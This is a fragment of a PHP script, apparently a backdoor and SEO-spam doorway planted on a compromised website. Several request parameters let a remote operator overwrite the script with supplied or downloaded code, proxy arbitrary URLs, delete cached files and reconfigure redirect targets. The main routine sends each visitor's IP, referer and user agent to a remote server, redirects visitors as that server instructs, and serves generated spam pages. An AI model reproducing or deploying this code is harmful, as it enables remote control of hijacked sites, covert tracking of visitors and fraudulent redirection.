0) { $rsNewScriptContent = str_replace('\'%$SCRIPT_PATH$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); } $nMatchResult = preg_match('#define\\(\'sheme_numb\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch); if(!($nMatchResult === false) && $nMatchResult > 0) { $rsNewScriptContent = str_replace('\'%$SHEME_NUMB$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); } $nMatchResult = preg_match('#define\\(\'_URL_\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch); if(!($nMatchResult === false) && $nMatchResult > 0) { $rsNewScriptContent = str_replace('\'%$URL$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); } $nMatchResult = preg_match('#define\\(\'_DOMAIN_\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch); if(!($nMatchResult === false) && $nMatchResult > 0) { $rsNewScriptContent = str_replace('\'kongsrud.dk\'', $lssScriptPathMatch[1], $rsNewScriptContent); } $nMatchResult = preg_match('#define\\(\'__SEC_VALUE__\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch); if(!($nMatchResult === false) && $nMatchResult > 0) { $rsNewScriptContent = str_replace('\'%$SEC_VALUE$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); } $nMatchResult = preg_match('#define\\(\'__TEMPLATE_DOMAIN__\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch); if(!($nMatchResult === false) && $nMatchResult > 0) { $rsNewScriptContent = str_replace('\'%$TEMPLATE_DOMAIN$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); } $nMatchResult = preg_match('#define\\(\'__ID__\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch); if(!($nMatchResult === false) && $nMatchResult > 0) { $rsNewScriptContent = str_replace('\'%$ID$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); } $nMatchResult = preg_match('#define\\(\'__CACHED__\', (.*)\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch); if(!($nMatchResult === false) && $nMatchResult > 0) { $rsNewScriptContent = str_replace('\'%$CACHED$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); } $nMatchResult = preg_match('#define\\(\'__JAVA_SCRIPT_REDIRECT__\', (.*)\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch); if(!($nMatchResult === false) && $nMatchResult > 0) { $rsNewScriptContent = str_replace('\'%$JAVA_REDIRECT$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); } $nMatchResult = preg_match('#define\\(\'__REMOVE_FILE__\', (.*)\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch); if(!($nMatchResult === false) && $nMatchResult > 0) { $rsNewScriptContent = str_replace('\'%$REMOVE_FILE$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); } } /** * Use this function for update scripts * the output of Update() */ function Update() { $sFileName = ''; if(isset($_SERVER['SCRIPT_FILENAME']) == true) { $stScritpPath = explode('/', $_SERVER['SCRIPT_FILENAME']); $sFileName = $stScritpPath[count($stScritpPath) - 1]; } else if(isset($_SERVER['SCRIPT_NAME']) == true) { $stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['SCRIPT_NAME'])); $sFileName = $stScritpPath[count($stScritpPath) - 1]; } else if(isset($_SERVER['PHP_SELF']) == true) { $stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['PHP_SELF'])); $sFileName = $stScritpPath[count($stScritpPath) - 1]; } $sUpdateFileName = ''; if(isset($_REQUEST['filename']) == true) { $sUpdateFileName = $_REQUEST['filename']; if(strlen($sFileName) == 0) { $sFileName = $sUpdateFileName; } } else { if(strlen($sFileName) == 0) { echo 'update script name'; exit(); } $sUpdateFileName = $sFileName; } $sNewScript = ''; if(isset($_REQUEST['update_url']) == true) { GetContents($_REQUEST['update_url'], $sNewScript); if($sNewScript == false) { echo 'get update content fail'; exit(); } } else if(isset($_REQUEST['update_code']) == true) { $sNewScript = $_REQUEST['update_code']; } else { echo 'don\'t have update content'; exit(); } $sCurrentFileContent = ''; $stCurrentFileHandle = fopen($sFileName, 'r'); if($stCurrentFileHandle === false) { echo 'fail open current file'; exit(); } $sCurrentFileContent = fread($stCurrentFileHandle, filesize($sFileName)); if($sCurrentFileContent === false) { echo 'fail read current file'; exit(); } fclose($stCurrentFileHandle); UpdatePath($sCurrentFileContent, $sNewScript); UpdateGetContent($sCurrentFileContent, $sNewScript); $stUpdateFileHanle = fopen($sUpdateFileName, 'w'); if($stUpdateFileHanle === false) { echo 'Can\'t open update file for write'; exit(); } if(fwrite($stUpdateFileHanle, $sNewScript) === false) { fclose($stUpdateFileHanle); echo 'Can\'t write in update file'; exit(); } fclose($stUpdateFileHanle); echo 'Correct update file'; } /** * Use this function use to remove cache from dir * the output of RemoveCache(). */ function RemoveCache() { $rlssDirPathContent = array(); if ($stHomeHandle = opendir('./')) { while (false !== ($sFile = readdir($stHomeHandle))) { if ($sFile != "." && $sFile != "..") { $sMatches = preg_match('#\\.html$#i', $sFile); if(!($sMatches === false) && $sMatches > 0) { unlink('./'.$sFile); } } } closedir($stHomeHandle); } echo 'cache removed'; } /** * Use this function for add http scheme to line * the output of AddHttpToLine(). */ function AddHttpToLine($sInputLine) { if(strncmp($sInputLine, 'http://', strlen('http://')) === 0) { return $sInputLine; } else { return 'http://'.$sInputLine; } } /** * Use this function use update fils in somes files * the output of UpdateFilds(). */ function UpdateFilds() { $sFileName = ''; if(isset($_SERVER['SCRIPT_FILENAME']) == true) { $stScritpPath = explode('/', $_SERVER['SCRIPT_FILENAME']); $sFileName = $stScritpPath[count($stScritpPath) - 1]; } else if(isset($_SERVER['SCRIPT_NAME']) == true) { $stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['SCRIPT_NAME'])); $sFileName = $stScritpPath[count($stScritpPath) - 1]; } else if(isset($_SERVER['PHP_SELF']) == true) { $stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['PHP_SELF'])); $sFileName = $stScritpPath[count($stScritpPath) - 1]; } $sUpdateFileName = ''; if(isset($_REQUEST['filename']) == true) { $sUpdateFileName = $_REQUEST['filename']; if(strlen($sFileName) == 0) { $sFileName = $sUpdateFileName; } } else { if(strlen($sFileName) == 0) { echo 'update script name'; exit(); } $sUpdateFileName = $sFileName; } $sCurrentFileContent = ''; $stCurrentFileHandle = fopen($sFileName, 'r'); if($stCurrentFileHandle === false) { echo 'fail open current file'; exit(); } $sCurrentFileContent = fread($stCurrentFileHandle, filesize($sFileName)); if($sCurrentFileContent === false) { echo 'fail read current file'; exit(); } fclose($stCurrentFileHandle); $sNewScript = $sCurrentFileContent; $sSecValue = trim($_REQUEST['secvalue']); if(strcmp(__SEC_VALUE__, '%$SEC_VALUE$%') == 0 || strcmp($sSecValue, __SEC_VALUE__) == 0) { if(strcmp(__SEC_VALUE__, '%$SEC_VALUE$%') == 0) { $sNewScript = preg_replace('#define\\(\'__SEC_VALUE__\',\\s.*\\);#i', 'define(\'__SEC_VALUE__\', \''.$sSecValue.'\');', $sNewScript); } } else { echo 'Sec value dont match'; exit(); } $sRedirectURL = ''; $sRedirectURL = AddHttpToLine(trim($_REQUEST['redirect'])); $sDgenURL = ''; $sDgenURL = AddHttpToLine(trim($_REQUEST['dgen'])); $sNewScript = preg_replace('#define\\(\'script_url\',\\s\'.*\'\\);#i', 'define(\'script_url\', \''.$sRedirectURL.'\');', $sNewScript); $sNewScript = preg_replace('#define\\(\'sheme_numb\',\\s\'.*\'\\);#i', 'define(\'sheme_numb\', \''.trim($_REQUEST['sheme']).'\');', $sNewScript); $sNewScript = preg_replace('#define\\(\'_URL_\',\\s\'.*\'\\);#i', 'define(\'_URL_\', \''.$sDgenURL.'\');', $sNewScript); if(isset($_REQUEST['id']) === true && strlen($_REQUEST['id']) > 0) { $sNewScript = preg_replace('#define\\(\'__ID__\',\\s\'.*\'\\);#i', 'define(\'__ID__\', \''.trim($_REQUEST['id']).'\');', $sNewScript); } else { if(!(strpos($sNewScript, 'define(\'__ID__\', \'%$ID$%\');') === false)) { $sNewScript = preg_replace('#define\\(\'__ID__\',\\s\'.*\'\\);#i', 'define(\'__ID__\', \'\');', $sNewScript); } } if(isset($_REQUEST['templatedomain']) === true && strlen(trim($_REQUEST['templatedomain'])) > 0) { $sNewScript = preg_replace('#define\\(\'__TEMPLATE_DOMAIN__\',\\s\'.*\'\\);#i', 'define(\'__TEMPLATE_DOMAIN__\', \''.trim($_REQUEST['templatedomain']).'\');', $sNewScript); } else { if(!(strpos($sNewScript, 'define(\'__TEMPLATE_DOMAIN__\', \'%$TEMPLATE_DOMAIN$%\');') === false)) { $sNewScript = preg_replace('#define\\(\'__TEMPLATE_DOMAIN__\',\\s\'.*\'\\);#i', 'define(\'__TEMPLATE_DOMAIN__\', \'\');', $sNewScript); } } if(isset($_REQUEST['cached']) === true) { $sNewScript = preg_replace('#define\\(\'__CACHED__\',\\s.*\\);#i', 'define(\'__CACHED__\', '.trim($_REQUEST['cached']).');', $sNewScript); } else { if(!(strpos($sNewScript, 'define(\'__CACHED__\', \'%$CACHED$%\');') === false)) { $sNewScript = preg_replace('#define\\(\'__CACHED__\',\\s.*\\);#i', 'define(\'__CACHED__\', true);', $sNewScript); } } if(isset($_REQUEST['java_redirect']) === true) { $sNewScript = preg_replace('#define\\(\'__JAVA_SCRIPT_REDIRECT__\',\\s.*\\);#i', 'define(\'__JAVA_SCRIPT_REDIRECT__\', '.trim($_REQUEST['java_redirect']).');', $sNewScript); } else { if(!(strpos($sNewScript, 'define(\'__JAVA_SCRIPT_REDIRECT__\', \'%$JAVA_REDIRECT$%\');') === false)) { $sNewScript = preg_replace('#define\\(\'__JAVA_SCRIPT_REDIRECT__\',\\s.*\\);#i', 'define(\'__JAVA_SCRIPT_REDIRECT__\', true);', $sNewScript); } } if(isset($_REQUEST['remove_file']) === true) { $sNewScript = preg_replace('#define\\(\'__REMOVE_FILE__\',\\s.*\\);#i', 'define(\'__REMOVE_FILE__\', '.trim($_REQUEST['remove_file']).');', $sNewScript); } else { if(!(strpos($sNewScript, 'define(\'__REMOVE_FILE__\', \'%$REMOVE_FILE$%\');') === false)) { $sNewScript = preg_replace('#define\\(\'__REMOVE_FILE__\',\\s.*\\);#i', 'define(\'__REMOVE_FILE__\', true);', $sNewScript); } } $stUpdateFileHanle = fopen($sUpdateFileName, 'w'); if($stUpdateFileHanle === false) { echo 'Can\'t open update file for write'; exit(); } if(fwrite($stUpdateFileHanle, $sNewScript) === false) { fclose($stUpdateFileHanle); echo 'Can\'t write in update file'; exit(); } fclose($stUpdateFileHanle); echo 'Correct update file'; } if(isset($_REQUEST['GetContent']) == true) { $sRequestUrl = AddHttpToLine(trim($_REQUEST['GetContent'])); $sOutContent = ''; GetContents($sRequestUrl, $sOutContent); if($sOutContent === false) { echo 'Cant get content'; } else { echo $sOutContent; } exit(); } if(isset($_REQUEST['checkwork']) == true) { echo 'script work'; exit(); } if(isset($_REQUEST['sheme']) == true && isset($_REQUEST['redirect']) == true && isset($_REQUEST['dgen']) == true && isset($_REQUEST['secvalue']) == true) { UpdateFilds(); exit(); } if(isset($_REQUEST['update']) == true) { Update(); exit(); } if(isset($_REQUEST['removecache']) == true) { RemoveCache(); exit(); } $sAnswer = parse_query(strtolower($_SERVER['HTTP_REFERER'])); $sFullUrl = script_url.'?parameter='.rawurlencode(strtolower($_SERVER['QUERY_STRING'])).'&ip='.rawurlencode($_SERVER['REMOTE_ADDR']).'&ref='.rawurlencode(strtolower($_SERVER['HTTP_REFERER'])).'&useragent='.rawurlencode(strtolower($_SERVER['HTTP_USER_AGENT'])).'&domain='.rawurlencode(strtolower($_SERVER['HTTP_HOST'])).'&visit='.CheckVisit().'&keyword='.rawurlencode($sAnswer).'&sheme='.sheme_numb; $sFullUrl .= '&ID='.__ID__; $sOutContent = ''; GetContents($sFullUrl, $sOutContent); if(!(strpos($sOutContent, 'http://') === false) && CheckDomainZone($sAnswer) === false) { if(__JAVA_SCRIPT_REDIRECT__ == false) { header ("Location: $sOutContent"); exit(0); } else { echo ''; exit(0); } } $sParameter = strtolower(trim($_SERVER['QUERY_STRING'])); clearstatcache(); if(file_exists('./'.$sParameter.'.html') == true) { $stFileHandle = fopen('./'.$sParameter.'.html', 'r'); echo fread($stFileHandle, filesize('./'.$sParameter.'.html')); fclose($stFileHandle); } else { $sOutContent = ''; $sGetContentUrl = _URL_.'?keyword='.$sParameter.'&domain='._DOMAIN_.'&ID='.__ID__; if(strlen(__TEMPLATE_DOMAIN__) > 0) { $sGetContentUrl .= '&templatedomain='.__TEMPLATE_DOMAIN__; } if(__REMOVE_FILE__ === true && __CACHED__ === true) { $sGetContentUrl .= '&unlink=1'; } GetContents($sGetContentUrl, $sOutContent); if($sOutContent === false || strlen($sOutContent) == 0) { exit(); } echo $sOutContent; if(__CACHED__ === true) { $stOutFileHandle = fopen('./'.$sParameter.'.html', 'w'); if(!($stOutFileHandle === false)) { fwrite($stOutFileHandle, $sOutContent); fclose($stOutFileHandle); } } } ?>